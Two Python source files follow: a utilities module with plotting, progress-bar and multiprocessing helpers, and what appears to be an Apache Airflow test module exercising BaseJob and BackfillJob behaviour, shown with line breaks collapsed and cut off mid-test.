utils.py
import logging import multiprocessing as mp import sys import threading import time import matplotlib.pyplot as plt from functools import partial from multiprocessing import Pool from dateutil.relativedelta import relativedelta _logger = logging.getLogger(__name__) def histogram_plot(data, x_labels, y_labels, figsize=(16, 4)): ''' Histogram plot for different set of data ''' # create subplot fig, axes = plt.subplots(1, len(data), figsize=figsize, squeeze=False) # create an histogram plot for each item in data for i in range(len(data)): # (B, N) --> (B * N) data_vals = data[i].ravel() # plot histogram axes[0, i].hist(data_vals, bins=50, density=True) # add axis labels if x_labels is not None: axes[0, i].set(xlabel=x_labels[i]) if y_labels is not None: axes[0, i].set(ylabel=y_labels[i]) plt.close(fig) return fig def scatter_plot(data, colors, labels, x_label=None, y_label=None, figsize=(16, 4)): ''' Scatter plots of different data points ''' # create subplot fig, axes = plt.subplots(1, 1, figsize=figsize, squeeze=False) # fill with data for item, color in zip(data, colors): axes[0, 0].scatter(range(len(item)), item, color=color, marker='o') # add plots labels axes[0, 0].legend(labels=labels) # add axis labels if x_label is not None: axes[0, 0].set(xlabel=x_label) if y_label is not None: axes[0, 0].set(ylabel=y_label) plt.close(fig) return fig def plot_2d_data(data, x_labels=None, y_labels=None, filename=None, figsize=(16, 4)): ''' Create several 2D plots for each item given by data :param data: sequence of numpy arrays -- length (L, ) :param x_labels: labels to give to each plot on the x axis -- length (L, ) if not None :param y_labels: labels to give to each plot on the y axis -- length (L, ) if not None :param filename: file to save the figure :param figsize: size of the plots :return: the 2D plot ''' # initialize the subplot -- put squeeze to false to avoid errors when data is of length 1 fig, axes = plt.subplots(1, len(data), figsize=figsize, squeeze=False) # create a plot for each item given by data for i in range(len(data)): if len(data[i].shape) == 1: axes[0, i].scatter(range(len(data[i])), data[i], alpha=0.5, marker='.', s=10) elif len(data[i].shape) == 2: axes[0, i].imshow(data[i], aspect='auto', origin='lower', interpolation='none') if x_labels is not None: axes[0, i].set(xlabel=x_labels[i]) if y_labels is not None: axes[0, i].set(ylabel=y_labels[i]) # save the figure and return it if filename is not None: fig.savefig(filename) plt.close(fig) return fig def chunker(seq, size): ''' creates a list of chunks https://stackoverflow.com/a/434328 :param seq: the sequence we want to create chunks from :param size: size of the chunks ''' return (seq[pos: pos + size] for pos in range(0, len(seq), size)) def prog_bar(i, n, bar_size=16): """ Create a progress bar to estimate remaining time :param i: current iteration :param n: total number of iterations :param bar_size: size of the bar :return: a visualisation of the progress bar """ bar = '' done = (i * bar_size) // n for j in range(bar_size): bar += '█' if j <= done else '░' message = f'{bar} {i}/{n}' return message def estimate_required_time(nb_items_in_list, current_index, time_elapsed, interval=100): """ Compute a remaining time estimation to process all items contained in a list :param nb_items_in_list: all list items that have to be processed :param current_index: current list index, contained in [0, nb_items_in_list - 1] :param time_elapsed: time elapsed to process current_index items in the list :param interval: estimate remaining time when (current_index % interval) == 0 :return: time elapsed since the last time estimation """ current_index += 1 # increment current_idx by 1 if current_index % interval == 0 or current_index == nb_items_in_list: # make time estimation and put to string format seconds = (nb_items_in_list - current_index) * (time_elapsed / current_index) time_estimation = relativedelta(seconds=int(seconds)) time_estimation_string = f'{time_estimation.hours:02}:{time_estimation.minutes:02}:{time_estimation.seconds:02}' # extract progress bar progress_bar = prog_bar(i=current_index, n=nb_items_in_list) # display info if current_index == nb_items_in_list: sys.stdout.write(f'\r{progress_bar} -- estimated required time = {time_estimation_string} -- Finished!') else: sys.stdout.write(f'\r{progress_bar} -- estimated required time = {time_estimation_string} -- ') def get_nb_jobs(n_jobs): """ Return the number of parallel jobs specified by n_jobs :param n_jobs: the number of jobs the user want to use in parallel :return: the number of parallel jobs """ # set nb_jobs to max by default nb_jobs = mp.cpu_count() if n_jobs != 'max': if int(n_jobs) > mp.cpu_count(): _logger.warning(f'Max number of parallel jobs is "{mp.cpu_count()}" but received "{int(n_jobs)}" -- ' f'setting nb of parallel jobs to {nb_jobs}') else: nb_jobs = int(n_jobs) return nb_jobs def logger_thread(q): ''' Thread logger to listen to log outputs in multi-processing mode ''' while True: log_record = q.get() if log_record is None: break _logger.handle(log_record) def launch_multi_process(iterable, func, n_jobs, chunksize=1, ordered=True, timer_verbose=True, **kwargs): """ Calls function using multi-processing pipes https://guangyuwu.wordpress.com/2018/01/12/python-differences-between-imap-imap_unordered-and-map-map_async/ :param iterable: items to process with function func :param func: function to multi-process :param n_jobs: number of parallel jobs to use :param chunksize: size of chunks given to each worker :param ordered: True: iterable is returned while still preserving the ordering of the input iterable False: iterable is returned regardless of the order of the input iterable -- better perf :param timer_verbose: display time estimation when set to True :param kwargs: additional keyword arguments taken by function func :return: function outputs """ # set up a queue and listen to log messages on it in another thread m = mp.Manager() q = m.Queue() lp = threading.Thread(target=logger_thread, args=(q, )) lp.start() # define pool of workers pool = Pool(processes=n_jobs) # define partial function and pool function func = partial(func, log_queue=q, **kwargs) pool_func = pool.imap if ordered else pool.imap_unordered # initialize variables func_returns = [] nb_items_in_list = len(iterable) if timer_verbose else None start = time.time() if timer_verbose else None # iterate over iterable for i, func_return in enumerate(pool_func(func, iterable, chunksize=chunksize)): # store function output func_returns.append(func_return) # compute remaining time if timer_verbose: estimate_required_time(nb_items_in_list=nb_items_in_list, current_index=i, time_elapsed=time.time() - start) if timer_verbose: sys.stdout.write('\n') # wait for all worker to finish and close the pool pool.close() pool.join() # put a null message in the queue so that it stops the logging thread q.put(None) lp.join() return func_returns
jobs.py
# -*- coding: utf-8 -*- # # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. from __future__ import absolute_import from __future__ import division from __future__ import print_function from __future__ import unicode_literals import datetime import json import logging import multiprocessing import os import shutil import six import threading import time import unittest from tempfile import mkdtemp import sqlalchemy from airflow import AirflowException, settings, models from airflow.bin import cli from airflow.executors import BaseExecutor, SequentialExecutor from airflow.jobs import BaseJob, BackfillJob, SchedulerJob, LocalTaskJob from airflow.models import DAG, DagModel, DagBag, DagRun, Pool, TaskInstance as TI from airflow.operators.dummy_operator import DummyOperator from airflow.operators.bash_operator import BashOperator from airflow.task.task_runner.base_task_runner import BaseTaskRunner from airflow.utils import timezone from airflow.utils.dates import days_ago from airflow.utils.db import provide_session from airflow.utils.state import State from airflow.utils.timeout import timeout from airflow.utils.dag_processing import SimpleDag, SimpleDagBag, list_py_file_paths from airflow.utils.net import get_hostname from mock import Mock, patch, MagicMock, PropertyMock from tests.executors.test_executor import TestExecutor from tests.core import TEST_DAG_FOLDER from airflow import configuration configuration.load_test_config() try: from unittest import mock except ImportError: try: import mock except ImportError: mock = None DEV_NULL = '/dev/null' DEFAULT_DATE = timezone.datetime(2016, 1, 1) # Include the words "airflow" and "dag" in the file contents, # tricking airflow into thinking these # files contain a DAG (otherwise Airflow will skip them) PARSEABLE_DAG_FILE_CONTENTS = '"airflow DAG"' UNPARSEABLE_DAG_FILE_CONTENTS = 'airflow DAG' # Filename to be used for dags that are created in an ad-hoc manner and can be removed/ # created at runtime TEMP_DAG_FILENAME = "temp_dag.py" TEST_DAGS_FOLDER = os.path.join( os.path.dirname(os.path.realpath(__file__)), 'dags') class BaseJobTest(unittest.TestCase): class TestJob(BaseJob): __mapper_args__ = { 'polymorphic_identity': 'TestJob' } def __init__(self, cb): self.cb = cb super(BaseJobTest.TestJob, self).__init__() def _execute(self): return self.cb() def test_state_success(self): job = self.TestJob(lambda: True) job.run() self.assertEquals(job.state, State.SUCCESS) self.assertIsNotNone(job.end_date) def test_state_sysexit(self): import sys job = self.TestJob(lambda: sys.exit(0)) job.run() self.assertEquals(job.state, State.SUCCESS) self.assertIsNotNone(job.end_date) def test_state_failed(self): def abort(): raise RuntimeError("fail") job = self.TestJob(abort) with self.assertRaises(RuntimeError): job.run() self.assertEquals(job.state, State.FAILED) self.assertIsNotNone(job.end_date) class BackfillJobTest(unittest.TestCase): def setUp(self): self.parser = cli.CLIFactory.get_parser() self.dagbag = DagBag(include_examples=True) @unittest.skipIf('sqlite' in configuration.conf.get('core', 'sql_alchemy_conn'), "concurrent access not supported in sqlite") def test_trigger_controller_dag(self): dag = self.dagbag.get_dag('example_trigger_controller_dag') target_dag = self.dagbag.get_dag('example_trigger_target_dag') dag.clear() target_dag.clear() scheduler = SchedulerJob() queue = Mock() scheduler._process_task_instances(target_dag, queue=queue) self.assertFalse(queue.append.called) job = BackfillJob( dag=dag, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_first_depends_on_past=True ) job.run() scheduler = SchedulerJob() queue = Mock() scheduler._process_task_instances(target_dag, queue=queue) self.assertTrue(queue.append.called) target_dag.clear() dag.clear() @unittest.skipIf('sqlite' in configuration.conf.get('core', 'sql_alchemy_conn'), "concurrent access not supported in sqlite") def test_backfill_multi_dates(self): dag = self.dagbag.get_dag('example_bash_operator') dag.clear() job = BackfillJob( dag=dag, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE + datetime.timedelta(days=1), ignore_first_depends_on_past=True ) job.run() session = settings.Session() drs = session.query(DagRun).filter( DagRun.dag_id == 'example_bash_operator' ).order_by(DagRun.execution_date).all() self.assertTrue(drs[0].execution_date == DEFAULT_DATE) self.assertTrue(drs[0].state == State.SUCCESS) self.assertTrue(drs[1].execution_date == DEFAULT_DATE + datetime.timedelta(days=1)) self.assertTrue(drs[1].state == State.SUCCESS) dag.clear() session.close() @unittest.skipIf('sqlite' in configuration.conf.get('core', 'sql_alchemy_conn'), "concurrent access not supported in sqlite") def test_backfill_examples(self): """ Test backfilling example dags """ # some DAGs really are just examples... but try to make them work! skip_dags = [ 'example_http_operator', 'example_twitter_dag', 'example_trigger_target_dag', 'example_trigger_controller_dag', # tested above 'test_utils', # sleeps forever 'example_kubernetes_executor', # requires kubernetes cluster 'example_kubernetes_operator' # requires kubernetes cluster ] logger = logging.getLogger('BackfillJobTest.test_backfill_examples') dags = [ dag for dag in self.dagbag.dags.values() if 'example_dags' in dag.full_filepath and dag.dag_id not in skip_dags ] for dag in dags: dag.clear( start_date=DEFAULT_DATE, end_date=DEFAULT_DATE) for i, dag in enumerate(sorted(dags, key=lambda d: d.dag_id)): logger.info('*** Running example DAG #{}: {}'.format(i, dag.dag_id)) job = BackfillJob( dag=dag, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_first_depends_on_past=True) job.run() def test_backfill_conf(self): dag = DAG( dag_id='test_backfill_conf', start_date=DEFAULT_DATE, schedule_interval='@daily') with dag: DummyOperator( task_id='op', dag=dag) dag.clear() executor = TestExecutor(do_update=True) conf = json.loads("""{"key": "value"}""") job = BackfillJob(dag=dag, executor=executor, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE + datetime.timedelta(days=2), conf=conf) job.run() dr = DagRun.find(dag_id='test_backfill_conf') self.assertEqual(conf, dr[0].conf) def test_backfill_rerun_failed_tasks(self): dag = DAG( dag_id='test_backfill_rerun_failed', start_date=DEFAULT_DATE, schedule_interval='@daily') with dag: DummyOperator( task_id='test_backfill_rerun_failed_task-1', dag=dag) dag.clear() executor = TestExecutor(do_update=True) job = BackfillJob(dag=dag, executor=executor, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE + datetime.timedelta(days=2), ) job.run() ti = TI(task=dag.get_task('test_backfill_rerun_failed_task-1'), execution_date=DEFAULT_DATE) ti.refresh_from_db() ti.set_state(State.FAILED) job = BackfillJob(dag=dag, executor=executor, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE + datetime.timedelta(days=2), rerun_failed_tasks=True ) job.run() ti = TI(task=dag.get_task('test_backfill_rerun_failed_task-1'), execution_date=DEFAULT_DATE) ti.refresh_from_db() self.assertEquals(ti.state, State.SUCCESS) def test_backfill_rerun_upstream_failed_tasks(self): dag = DAG( dag_id='test_backfill_rerun_upstream_failed', start_date=DEFAULT_DATE, schedule_interval='@daily') with dag: t1 = DummyOperator(task_id='test_backfill_rerun_upstream_failed_task-1', dag=dag) t2 = DummyOperator(task_id='test_backfill_rerun_upstream_failed_task-2', dag=dag) t1.set_upstream(t2) dag.clear() executor = TestExecutor(do_update=True) job = BackfillJob(dag=dag, executor=executor, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE + datetime.timedelta(days=2), ) job.run() ti = TI(task=dag.get_task('test_backfill_rerun_upstream_failed_task-1'), execution_date=DEFAULT_DATE) ti.refresh_from_db() ti.set_state(State.UPSTREAM_FAILED) job = BackfillJob(dag=dag, executor=executor, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE + datetime.timedelta(days=2), rerun_failed_tasks=True ) job.run() ti = TI(task=dag.get_task('test_backfill_rerun_upstream_failed_task-1'), execution_date=DEFAULT_DATE) ti.refresh_from_db() self.assertEquals(ti.state, State.SUCCESS) def test_backfill_rerun_failed_tasks_without_flag(self): dag = DAG( dag_id='test_backfill_rerun_failed', start_date=DEFAULT_DATE, schedule_interval='@daily') with dag: DummyOperator( task_id='test_backfill_rerun_failed_task-1', dag=dag) dag.clear() executor = TestExecutor(do_update=True) job = BackfillJob(dag=dag, executor=executor, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE + datetime.timedelta(days=2), ) job.run() ti = TI(task=dag.get_task('test_backfill_rerun_failed_task-1'), execution_date=DEFAULT_DATE) ti.refresh_from_db() ti.set_state(State.FAILED) job = BackfillJob(dag=dag, executor=executor, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE + datetime.timedelta(days=2), rerun_failed_tasks=False ) with self.assertRaises(AirflowException): job.run() def test_backfill_ordered_concurrent_execute(self): dag = DAG( dag_id='test_backfill_ordered_concurrent_execute', start_date=DEFAULT_DATE, schedule_interval="@daily") with dag: op1 = DummyOperator(task_id='leave1') op2 = DummyOperator(task_id='leave2') op3 = DummyOperator(task_id='upstream_level_1') op4 = DummyOperator(task_id='upstream_level_2') op5 = DummyOperator(task_id='upstream_level_3') # order randomly op2.set_downstream(op3) op1.set_downstream(op3) op4.set_downstream(op5) op3.set_downstream(op4) dag.clear() executor = TestExecutor(do_update=True) job = BackfillJob(dag=dag, executor=executor, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE + datetime.timedelta(days=2), ) job.run() # test executor history keeps a list history = executor.history # check if right order. Every loop has a 'pause' (0) to change state # from RUNNING to SUCCESS. # 6,0,3,0,3,0,3,0 = 8 loops self.assertEqual(8, len(history)) loop_count = 0 while len(history) > 0: queued_tasks = history.pop(0) if loop_count == 0: # first loop should contain 6 tasks (3 days x 2 tasks) self.assertEqual(6, len(queued_tasks)) if loop_count == 2 or loop_count == 4 or loop_count == 6: # 3 days x 1 task self.assertEqual(3, len(queued_tasks)) loop_count += 1 def test_backfill_pooled_tasks(self): """ Test that queued tasks are executed by BackfillJob Test for https://github.com/airbnb/airflow/pull/1225 """ session = settings.Session() pool = Pool(pool='test_backfill_pooled_task_pool', slots=1) session.add(pool) session.commit() dag = self.dagbag.get_dag('test_backfill_pooled_task_dag') dag.clear() job = BackfillJob( dag=dag, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE) # run with timeout because this creates an infinite loop if not # caught with timeout(seconds=30): job.run() ti = TI( task=dag.get_task('test_backfill_pooled_task'), execution_date=DEFAULT_DATE) ti.refresh_from_db() self.assertEqual(ti.state, State.SUCCESS) def test_backfill_depends_on_past(self): """ Test that backfill respects ignore_depends_on_past """ dag = self.dagbag.get_dag('test_depends_on_past') dag.clear() run_date = DEFAULT_DATE + datetime.timedelta(days=5) # backfill should deadlock self.assertRaisesRegexp( AirflowException, 'BackfillJob is deadlocked', BackfillJob(dag=dag, start_date=run_date, end_date=run_date).run) BackfillJob( dag=dag, start_date=run_date, end_date=run_date, ignore_first_depends_on_past=True).run() # ti should have succeeded ti = TI(dag.tasks[0], run_date) ti.refresh_from_db() self.assertEquals(ti.state, State.SUCCESS) def test_run_ignores_all_dependencies(self): """ Test that run respects ignore_all_dependencies """ dag_id = 'test_run_ignores_all_dependencies' dag = self.dagbag.get_dag('test_run_ignores_all_dependencies') dag.clear() task0_id = 'test_run_dependent_task' args0 = ['run', '-A', dag_id, task0_id, DEFAULT_DATE.isoformat()] cli.run(self.parser.parse_args(args0)) ti_dependent0 = TI( task=dag.get_task(task0_id), execution_date=DEFAULT_DATE) ti_dependent0.refresh_from_db() self.assertEquals(ti_dependent0.state, State.FAILED) task1_id = 'test_run_dependency_task' args1 = ['run', '-A', dag_id, task1_id, (DEFAULT_DATE + datetime.timedelta(days=1)).isoformat()] cli.run(self.parser.parse_args(args1)) ti_dependency = TI( task=dag.get_task(task1_id), execution_date=DEFAULT_DATE + datetime.timedelta(days=1)) ti_dependency.refresh_from_db() self.assertEquals(ti_dependency.state, State.FAILED) task2_id = 'test_run_dependent_task' args2 = ['run', '-A', dag_id, task2_id, (DEFAULT_DATE + datetime.timedelta(days=1)).isoformat()] cli.run(self.parser.parse_args(args2)) ti_dependent = TI( task=dag.get_task(task2_id), execution_date=DEFAULT_DATE + datetime.timedelta(days=1)) ti_dependent.refresh_from_db() self.assertEquals(ti_dependent.state, State.SUCCESS) def test_run_naive_taskinstance(self): """ Test that we can run naive (non-localized) task instances """ NAIVE_DATE = datetime.datetime(2016, 1, 1) dag_id = 'test_run_ignores_all_dependencies' dag = self.dagbag.get_dag('test_run_ignores_all_dependencies') dag.clear() task0_id = 'test_run_dependent_task' args0 = ['run', '-A', dag_id, task0_id, NAIVE_DATE.isoformat()] cli.run(self.parser.parse_args(args0)) ti_dependent0 = TI( task=dag.get_task(task0_id), execution_date=NAIVE_DATE) ti_dependent0.refresh_from_db() self.assertEquals(ti_dependent0.state, State.FAILED) def test_cli_backfill_depends_on_past(self): """ Test that CLI respects -I argument """ dag_id = 'test_dagrun_states_deadlock' run_date = DEFAULT_DATE + datetime.timedelta(days=1) args = [ 'backfill', dag_id, '-l', '-s', run_date.isoformat(), ] dag = self.dagbag.get_dag(dag_id) dag.clear() self.assertRaisesRegexp( AirflowException, 'BackfillJob is deadlocked', cli.backfill, self.parser.parse_args(args)) cli.backfill(self.parser.parse_args(args + ['-I'])) ti = TI(dag.get_task('test_depends_on_past'), run_date) ti.refresh_from_db() # task ran self.assertEqual(ti.state, State.SUCCESS) dag.clear() def test_cli_receives_delay_arg(self): """ Tests that the --delay argument is passed correctly to the BackfillJob """ dag_id = 'example_bash_operator' run_date = DEFAULT_DATE args = [ 'backfill', dag_id, '-s', run_date.isoformat(), '--delay_on_limit', '0.5', ] parsed_args = self.parser.parse_args(args) self.assertEqual(0.5, parsed_args.delay_on_limit) def _get_dag_test_max_active_limits(self, dag_id, max_active_runs=1): dag = DAG( dag_id=dag_id, start_date=DEFAULT_DATE, schedule_interval="@hourly", max_active_runs=max_active_runs ) with dag: op1 = DummyOperator(task_id='leave1') op2 = DummyOperator(task_id='leave2') op3 = DummyOperator(task_id='upstream_level_1') op4 = DummyOperator(task_id='upstream_level_2') op1 >> op2 >> op3 op4 >> op3 dag.clear() return dag def test_backfill_max_limit_check_within_limit(self): dag = self._get_dag_test_max_active_limits( 'test_backfill_max_limit_check_within_limit', max_active_runs=16) start_date = DEFAULT_DATE - datetime.timedelta(hours=1) end_date = DEFAULT_DATE executor = TestExecutor(do_update=True) job = BackfillJob(dag=dag, start_date=start_date, end_date=end_date, executor=executor, donot_pickle=True) job.run() dagruns = DagRun.find(dag_id=dag.dag_id) self.assertEqual(2, len(dagruns)) self.assertTrue(all([run.state == State.SUCCESS for run in dagruns])) def test_backfill_max_limit_check(self): dag_id = 'test_backfill_max_limit_check' run_id = 'test_dagrun' start_date = DEFAULT_DATE - datetime.timedelta(hours=1) end_date = DEFAULT_DATE dag_run_created_cond = threading.Condition() def run_backfill(cond): cond.acquire() try: dag = self._get_dag_test_max_active_limits(dag_id) # this session object is different than the one in the main thread thread_session = settings.Session() # Existing dagrun that is not within the backfill range dag.create_dagrun( run_id=run_id, state=State.RUNNING, execution_date=DEFAULT_DATE + datetime.timedelta(hours=1), start_date=DEFAULT_DATE, ) thread_session.commit() cond.notify() finally: cond.release() executor = TestExecutor(do_update=True) job = BackfillJob(dag=dag, start_date=start_date, end_date=end_date, executor=executor, donot_pickle=True) job.run() thread_session.close() backfill_job_thread = threading.Thread(target=run_backfill, name="run_backfill", args=(dag_run_created_cond,)) dag_run_created_cond.acquire() session = settings.Session() backfill_job_thread.start() try: # at this point backfill can't run since the max_active_runs has been # reached, so it is waiting dag_run_created_cond.wait(timeout=1.5) dagruns = DagRun.find(dag_id=dag_id) dr = dagruns[0] self.assertEqual(1, len(dagruns)) self.assertEqual(dr.run_id, run_id) # allow the backfill to execute by setting the existing dag run to SUCCESS, # backfill will execute dag runs 1 by 1 dr.set_state(State.SUCCESS) session.merge(dr) session.commit() session.close() backfill_job_thread.join() dagruns = DagRun.find(dag_id=dag_id) self.assertEqual(3, len(dagruns)) # 2 from backfill + 1 existing self.assertEqual(dagruns[-1].run_id, dr.run_id) finally: dag_run_created_cond.release() def test_backfill_max_limit_check_no_count_existing(self): dag = self._get_dag_test_max_active_limits( 'test_backfill_max_limit_check_no_count_existing') start_date = DEFAULT_DATE end_date = DEFAULT_DATE # Existing dagrun that is within the backfill range dag.create_dagrun(run_id="test_existing_backfill", state=State.RUNNING, execution_date=DEFAULT_DATE, start_date=DEFAULT_DATE) executor = TestExecutor(do_update=True) job = BackfillJob(dag=dag, start_date=start_date, end_date=end_date, executor=executor, donot_pickle=True) job.run() # BackfillJob will run since the existing DagRun does not count for the max # active limit since it's within the backfill date range. dagruns = DagRun.find(dag_id=dag.dag_id) # will only be able to run 1 (the existing one) since there's just # one dag run slot left given the max_active_runs limit self.assertEqual(1, len(dagruns)) self.assertEqual(State.SUCCESS, dagruns[0].state) def test_backfill_max_limit_check_complete_loop(self): dag = self._get_dag_test_max_active_limits( 'test_backfill_max_limit_check_complete_loop') start_date = DEFAULT_DATE - datetime.timedelta(hours=1) end_date = DEFAULT_DATE # Given the max limit to be 1 in active dag runs, we need to run the # backfill job 3 times success_expected = 2 executor = TestExecutor(do_update=True) job = BackfillJob(dag=dag, start_date=start_date, end_date=end_date, executor=executor, donot_pickle=True) job.run() success_dagruns = len(DagRun.find(dag_id=dag.dag_id, state=State.SUCCESS)) running_dagruns = len(DagRun.find(dag_id=dag.dag_id, state=State.RUNNING)) self.assertEqual(success_expected, success_dagruns) self.assertEqual(0, running_dagruns) # no dag_runs in running state are left def test_sub_set_subdag(self): dag = DAG( 'test_sub_set_subdag', start_date=DEFAULT_DATE, default_args={'owner': 'owner1'}) with dag: op1 = DummyOperator(task_id='leave1') op2 = DummyOperator(task_id='leave2') op3 = DummyOperator(task_id='upstream_level_1') op4 = DummyOperator(task_id='upstream_level_2') op5 = DummyOperator(task_id='upstream_level_3') # order randomly op2.set_downstream(op3) op1.set_downstream(op3) op4.set_downstream(op5) op3.set_downstream(op4) dag.clear() dr = dag.create_dagrun(run_id="test", state=State.RUNNING, execution_date=DEFAULT_DATE, start_date=DEFAULT_DATE) executor = TestExecutor(do_update=True) sub_dag = dag.sub_dag(task_regex="leave*", include_downstream=False, include_upstream=False) job = BackfillJob(dag=sub_dag, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, executor=executor) job.run() self.assertRaises(sqlalchemy.orm.exc.NoResultFound, dr.refresh_from_db) # the run_id should have changed, so a refresh won't work drs = DagRun.find(dag_id=dag.dag_id, execution_date=DEFAULT_DATE) dr = drs[0] self.assertEqual(BackfillJob.ID_FORMAT_PREFIX.format(DEFAULT_DATE.isoformat()), dr.run_id) for ti in dr.get_task_instances(): if ti.task_id == 'leave1' or ti.task_id == 'leave2': self.assertEqual(State.SUCCESS, ti.state) else: self.assertEqual(State.NONE, ti.state) def test_backfill_fill_blanks(self): dag = DAG( 'test_backfill_fill_blanks', start_date=DEFAULT_DATE, default_args={'owner': 'owner1'}, ) with dag: op1 = DummyOperator(task_id='op1') op2 = DummyOperator(task_id='op2') op3 = DummyOperator(task_id='op3') op4 = DummyOperator(task_id='op4') op5 = DummyOperator(task_id='op5') op6 = DummyOperator(task_id='op6') dag.clear() dr = dag.create_dagrun(run_id='test', state=State.RUNNING, execution_date=DEFAULT_DATE, start_date=DEFAULT_DATE) executor = TestExecutor(do_update=True) session = settings.Session() tis = dr.get_task_instances() for ti in tis: if ti.task_id == op1.task_id: ti.state = State.UP_FOR_RETRY ti.end_date = DEFAULT_DATE elif ti.task_id == op2.task_id: ti.state = State.FAILED elif ti.task_id == op3.task_id: ti.state = State.SKIPPED elif ti.task_id == op4.task_id: ti.state = State.SCHEDULED elif ti.task_id == op5.task_id: ti.state = State.UPSTREAM_FAILED # op6 = None session.merge(ti) session.commit() session.close() job = BackfillJob(dag=dag, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, executor=executor) self.assertRaisesRegexp( AirflowException, 'Some task instances failed', job.run) self.assertRaises(sqlalchemy.orm.exc.NoResultFound, dr.refresh_from_db) # the run_id should have changed, so a refresh won't work drs = DagRun.find(dag_id=dag.dag_id, execution_date=DEFAULT_DATE) dr = drs[0] self.assertEqual(dr.state, State.FAILED) tis = dr.get_task_instances() for ti in tis: if ti.task_id in (op1.task_id, op4.task_id, op6.task_id): self.assertEqual(ti.state, State.SUCCESS) elif ti.task_id == op2.task_id: self.assertEqual(ti.state, State.FAILED) elif ti.task_id == op3.task_id: self.assertEqual(ti.state, State.SKIPPED) elif ti.task_id == op5.task_id: self.assertEqual(ti.state, State.UPSTREAM_FAILED) def test_backfill_execute_subdag(self): dag = self.dagbag.get_dag('example_subdag_operator') subdag_op_task = dag.get_task('section-1') subdag = subdag_op_task.subdag subdag.schedule_interval = '@daily' start_date = timezone.utcnow() executor = TestExecutor(do_update=True) job = BackfillJob(dag=subdag, start_date=start_date, end_date=start_date, executor=executor, donot_pickle=True) job.run() history = executor.history subdag_history = history[0] # check that all 5 task instances of the subdag 'section-1' were executed self.assertEqual(5, len(subdag_history)) for sdh in subdag_history: ti = sdh[3] self.assertIn('section-1-task-', ti.task_id) subdag.clear() dag.clear() def test_backfill_execute_subdag_with_removed_task(self): """ Ensure that subdag operators execute properly in the case where an associated task of the subdag has been removed from the dag definition, but has instances in the database from previous runs. """ dag = self.dagbag.get_dag('example_subdag_operator') subdag = dag.get_task('section-1').subdag executor = TestExecutor(do_update=True) job = BackfillJob(dag=subdag, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, executor=executor, donot_pickle=True) removed_task_ti = TI( task=DummyOperator(task_id='removed_task'), execution_date=DEFAULT_DATE, state=State.REMOVED) removed_task_ti.dag_id = subdag.dag_id session = settings.Session() session.merge(removed_task_ti) with timeout(seconds=30): job.run() for task in subdag.tasks: instance = session.query(TI).filter( TI.dag_id == subdag.dag_id, TI.task_id == task.task_id, TI.execution_date == DEFAULT_DATE).first() self.assertIsNotNone(instance) self.assertEqual(instance.state, State.SUCCESS) removed_task_ti.refresh_from_db() self.assertEqual(removed_task_ti.state, State.REMOVED) subdag.clear() dag.clear() def test_update_counters(self): dag = DAG( dag_id='test_manage_executor_state', start_date=DEFAULT_DATE) task1 = DummyOperator( task_id='dummy', dag=dag, owner='airflow') job = BackfillJob(dag=dag) session = settings.Session() dr = dag.create_dagrun(run_id=DagRun.ID_PREFIX, state=State.RUNNING, execution_date=DEFAULT_DATE, start_date=DEFAULT_DATE, session=session) ti = TI(task1, dr.execution_date) ti.refresh_from_db() ti_status = BackfillJob._DagRunTaskStatus() # test for success ti.set_state(State.SUCCESS, session) ti_status.running[ti.key] = ti job._update_counters(ti_status=ti_status) self.assertTrue(len(ti_status.running) == 0) self.assertTrue(len(ti_status.succeeded) == 1) self.assertTrue(len(ti_status.skipped) == 0) self.assertTrue(len(ti_status.failed) == 0) self.assertTrue(len(ti_status.to_run) == 0) ti_status.succeeded.clear() # test for skipped ti.set_state(State.SKIPPED, session) ti_status.running[ti.key] = ti job._update_counters(ti_status=ti_status) self.assertTrue(len(ti_status.running) == 0) self.assertTrue(len(ti_status.succeeded) == 0) self.assertTrue(len(ti_status.skipped) == 1) self.assertTrue(len(ti_status.failed) == 0) self.assertTrue(len(ti_status.to_run) == 0) ti_status.skipped.clear() # test for failed ti.set_state(State.FAILED, session) ti_status.running[ti.key] = ti job._update_counters(ti_status=ti_status) self.assertTrue(len(ti_status.running) == 0) self.assertTrue(len(ti_status.succeeded) == 0) self.assertTrue(len(ti_status.skipped) == 0) self.assertTrue(len(ti_status.failed) == 1) self.assertTrue(len(ti_status.to_run) == 0) ti_status.failed.clear() # test for reschedule # test for failed ti.set_state(State.NONE, session) ti_status.running[ti.key] = ti job._update_counters(ti_status=ti_status) self.assertTrue(len(ti_status.running) == 0) self.assertTrue(len(ti_status.succeeded) == 0) self.assertTrue(len(ti_status.skipped) == 0) self.assertTrue(len(ti_status.failed) == 0) self.assertTrue(len(ti_status.to_run) == 1) session.close() def test_dag_get_run_dates(self): def get_test_dag_for_backfill(schedule_interval=None): dag = DAG( dag_id='test_get_dates', start_date=DEFAULT_DATE, schedule_interval=schedule_interval) DummyOperator( task_id='dummy', dag=dag, owner='airflow') return dag test_dag = get_test_dag_for_backfill() self.assertEqual([DEFAULT_DATE], test_dag.get_run_dates( start_date=DEFAULT_DATE, end_date=DEFAULT_DATE)) test_dag = get_test_dag_for_backfill(schedule_interval="@hourly") self.assertEqual([DEFAULT_DATE - datetime.timedelta(hours=3), DEFAULT_DATE - datetime.timedelta(hours=2), DEFAULT_DATE - datetime.timedelta(hours=1), DEFAULT_DATE], test_dag.get_run_dates( start_date=DEFAULT_DATE - 